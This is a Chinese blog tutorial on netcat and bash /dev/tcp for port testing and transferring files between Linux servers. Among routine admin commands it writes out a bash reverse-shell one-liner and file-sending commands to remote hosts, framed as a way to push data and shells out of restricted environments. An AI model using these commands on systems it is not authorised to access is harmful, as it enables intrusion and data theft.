网络探测、文件传输、nc命令各种用法

介绍

在服务器之间传输文件有多种方法,比如scp,rz/sz,搭建ftp等等。

使用命令就可以安装: yum install lrzsz

windows下感觉最方便的还是rz/sz,支持直接鼠标拖拽但是需要用户终端的支持,基于zmodem协议,传输速度慢,传输一些大型的二进制文件会失败。
scp命令基于ssh协议,需要服务器能ssh登陆,有时想在服务器间传输文件,而服务器间不能直接登陆,需要经过跳板机中转,用scp命令就显得过于繁琐。
通过搭建ftp来传输,就更繁琐了。

而linux下其实还提供了另一个方便的工具——nc,基于其轻量级的特性,linux系统上一般都会自带。它可以用来做文件传输,但其实其功能并不只局限于此。

当进入第三方测试环境、生产环境,无法使用文件上传工具时,只要能ping通外网,这时候就可以使用nc命令进行文件传输,命令反弹等

nc的使用

参数

-l: 用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
-p : 暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)
-s : 指定发送数据的源IP地址,适用于多网卡机
-u: 指定nc使用UDP协议,默认为TCP
-v: 输出交互或出错信息,新手调试时尤为有用
-w: 超时秒数,后面跟数字
-z: 表示zero,表示扫描时不发送任何数据

最常用监听命令

1
nc -lvvp 1234

连接到另外一台电脑

1
nc ip地址 1234

使用nc传输文件

客户端发送

1
nc ip地址 1234 < file.txt

服务端接收

1
nc -l 1234 > file.txt

/dev/tcp文件

在Linux中有一个特殊文件:/dev/tcp打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

我们可以通过重定向实现基于tcp/udp协议的软件通讯,/dev/tcp/host/port  只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口。

如果主机以及端口存在,就建立一个socket 连接,将在 /proc/self/fd 目录下面,有对应的文件出现。
最常用的是测试端口是否开启

1
echo >/dev/tcp/目标ip/目标port

反弹bash shell

1
bash -i >& /dev/tcp/目标ip/目标port 0>&1

收发数据
服务端用ncat等待连接ncat -lvvp 6000
然后客户端作为连接发起者这样做

1
2
3
4
5
exec 8<>/dev/tcp/gg.4fk.me/6000 #建立连接
ls /proc/self/fd/ #查看连接
echo -e "hello server!" >&8 #发数据
cat <&8 #收数据
exec 8>&- #关闭连接

如果内网环境没有nc命令如何发送文件

这时候就配合/dev/tcp来发送接收文件了
服务端接收

1
nc -lvvp 1234 > file.txt

客户端发送

1
cat file.zip > /dev/tcp/目标ip/目标port

服务端发送

1
nc -lvvp 1234 < file.txt

客户端接收

1
cat < /dev/tcp/目标ip/目标port > file.zip
Author: chacebai
Link: http://www.spyhex.com/2023/网络探测、文件传输、nc命令各种用法/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.